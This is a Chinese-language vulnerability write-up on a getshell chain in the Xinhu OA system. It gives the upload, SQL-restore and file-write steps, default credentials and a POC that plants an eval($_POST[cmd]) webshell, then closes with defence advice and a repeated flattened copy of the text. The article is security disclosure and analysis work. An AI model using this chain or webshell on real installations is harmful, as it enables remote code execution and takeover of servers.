从文件写入sql语句到getshell
字数 1497 2025-08-29 08:29:58

从文件写入SQL语句到Getshell漏洞分析与利用

环境搭建

  1. 源码下载地址: https://github.com/rainrocka/xinhu
  2. 下载后解压到本地网站根目录下
  3. 配置好数据库并安装
  4. 默认密码: admin/123456 (登录后需更改密码)

路由分析

  • 使用GET方式接收参数: m, d, a, ajaxbool
  • rock->jm->gettoken 获取令牌
  • ajaxbool=false 时访问 xxxAction.php
  • ajaxbool=true 时访问 xxxAjax.php

参数说明:

  • a: PHP文件名(不含Action)
  • d: 动作名(action)
  • m: 目录名(webadmin下的子目录)
  • 默认值: a=index, d=default, m=空字符串

示例:
index.php?a=deluser&m=imgroup&ajaxbool=true&gid=38&sid=1

  • m=user: 请求webadmin下的imgroup目录
  • a=list: 请求的方法是deluser
  • ajaxbool=true: 这是一个AJAX请求

漏洞分析

文件写入点

文件路径: webmain/main/flow/flowAction.php

createtxt函数是一个文件写入方法,关键代码如下:

function createtxt($modenum, $str){
    $path = ''.P.'/mode_'.$modenum.'Action.php';
    $bo = file_put_contents($path, $str);
    return $bo;
}

漏洞点:

  • 如果能控制$modenum$rs['name']的内容就可以实现Getshell
  • $modenum同时控制了文件名,所以只能通过控制$rs['name']来Getshell

数据来源分析

$rs数组是从flow_set数据库表获取的。如果能控制name字段,并注释掉前后内容,就能写入恶意代码。

寻找SQL注入点

webmain/system/beifen/beifenAction.php文件中的huifdatanewAjax方法存在SQL查询漏洞:

function huifdatanewAjax()
{
    $sid = $this->rock->post('sid');
    $folder = $this->rock->post('folder');
    $data = c('xinhu')->getbackdata($folder, $sid);
    $tables = $this->db->gettables();
    foreach($data as $tab=>$dataarr){
        if(!in_array($tab, $tables))continue;
        $createsql = $dataarr['createsql'];
        $this->db->query($createsql);
    }
}

漏洞利用条件:

  1. sid可控且不在数据库表名中
  2. 可以控制文件内容
  3. 目录folder也可控

文件上传点

webmain/flow/flowopt/flowoptAction.php文件中的savetopdfAjax方法:

  1. 根据imgbase64上传一个abc.png文件
  2. 上传PDF文件(默认无此插件会报错,但不影响png上传)

上传的文件位置: upload/logs/2025-03/abc.png

漏洞复现流程

  1. 使用savetopdfAjax上传包含恶意SQL语句的图片
  2. 请求接口触发图片内容中的恶意SQL语句
  3. 更新数据表中带有payload的name
  4. 触发php文件写入,实现Getshell

详细步骤

  1. 上传恶意图片:

    • 构造POC文件内容为:
      <?php
      return array(
          'flow_set' => array(
              'createsql' => "UPDATE flow_set SET name='<?php eval($_POST[cmd]);?>' WHERE id=1"
          )
      );
      ?>
      
    • 通过savetopdfAjax方法上传为abc.png
  2. 触发SQL执行:

    • 访问huifdatanewAjax接口,指定sid=abc.png和正确的folder参数
    • 这将执行图片中的SQL语句,更新flow_set表中的name字段
  3. 触发PHP文件写入:

    • 访问createtxt相关功能,生成mode_zzf08rneAction.php文件
    • 文件内容将包含恶意代码
  4. 命令执行:

    • 访问生成的PHP文件,通过POST参数cmd执行任意命令

防御建议

  1. 对文件上传内容进行严格过滤
  2. 对SQL查询参数进行预编译处理
  3. 限制数据库操作权限
  4. 对写入PHP文件的内容进行安全检查
  5. 禁用危险函数如eval()
从文件写入SQL语句到Getshell漏洞分析与利用 环境搭建 源码下载地址: https://github.com/rainrocka/xinhu 下载后解压到本地网站根目录下 配置好数据库并安装 默认密码: admin/123456 (登录后需更改密码) 路由分析 使用GET方式接收参数: m, d, a, ajaxbool rock->jm->gettoken 获取令牌 当 ajaxbool=false 时访问 xxxAction.php 当 ajaxbool=true 时访问 xxxAjax.php 参数说明: a : PHP文件名(不含Action) d : 动作名(action) m : 目录名(webadmin下的子目录) 默认值: a=index, d=default, m=空字符串 示例: index.php?a=deluser&m=imgroup&ajaxbool=true&gid=38&sid=1 m=user : 请求webadmin下的imgroup目录 a=list : 请求的方法是deluser ajaxbool=true : 这是一个AJAX请求 漏洞分析 文件写入点 文件路径: webmain/main/flow/flowAction.php createtxt 函数是一个文件写入方法,关键代码如下: 漏洞点: 如果能控制 $modenum 或 $rs['name'] 的内容就可以实现Getshell $modenum 同时控制了文件名,所以只能通过控制 $rs['name'] 来Getshell 数据来源分析 $rs 数组是从 flow_set 数据库表获取的。如果能控制 name 字段,并注释掉前后内容,就能写入恶意代码。 寻找SQL注入点 在 webmain/system/beifen/beifenAction.php 文件中的 huifdatanewAjax 方法存在SQL查询漏洞: 漏洞利用条件: sid 可控且不在数据库表名中 可以控制文件内容 目录 folder 也可控 文件上传点 在 webmain/flow/flowopt/flowoptAction.php 文件中的 savetopdfAjax 方法: 根据 imgbase64 上传一个 abc.png 文件 上传PDF文件(默认无此插件会报错,但不影响png上传) 上传的文件位置: upload/logs/2025-03/abc.png 漏洞复现流程 使用 savetopdfAjax 上传包含恶意SQL语句的图片 请求接口触发图片内容中的恶意SQL语句 更新数据表中带有payload的 name 值 触发php文件写入,实现Getshell 详细步骤 上传恶意图片 : 构造POC文件内容为: 通过 savetopdfAjax 方法上传为 abc.png 触发SQL执行 : 访问 huifdatanewAjax 接口,指定 sid=abc.png 和正确的 folder 参数 这将执行图片中的SQL语句,更新 flow_set 表中的 name 字段 触发PHP文件写入 : 访问 createtxt 相关功能,生成 mode_zzf08rneAction.php 文件 文件内容将包含恶意代码 命令执行 : 访问生成的PHP文件,通过POST参数 cmd 执行任意命令 防御建议 对文件上传内容进行严格过滤 对SQL查询参数进行预编译处理 限制数据库操作权限 对写入PHP文件的内容进行安全检查 禁用危险函数如 eval()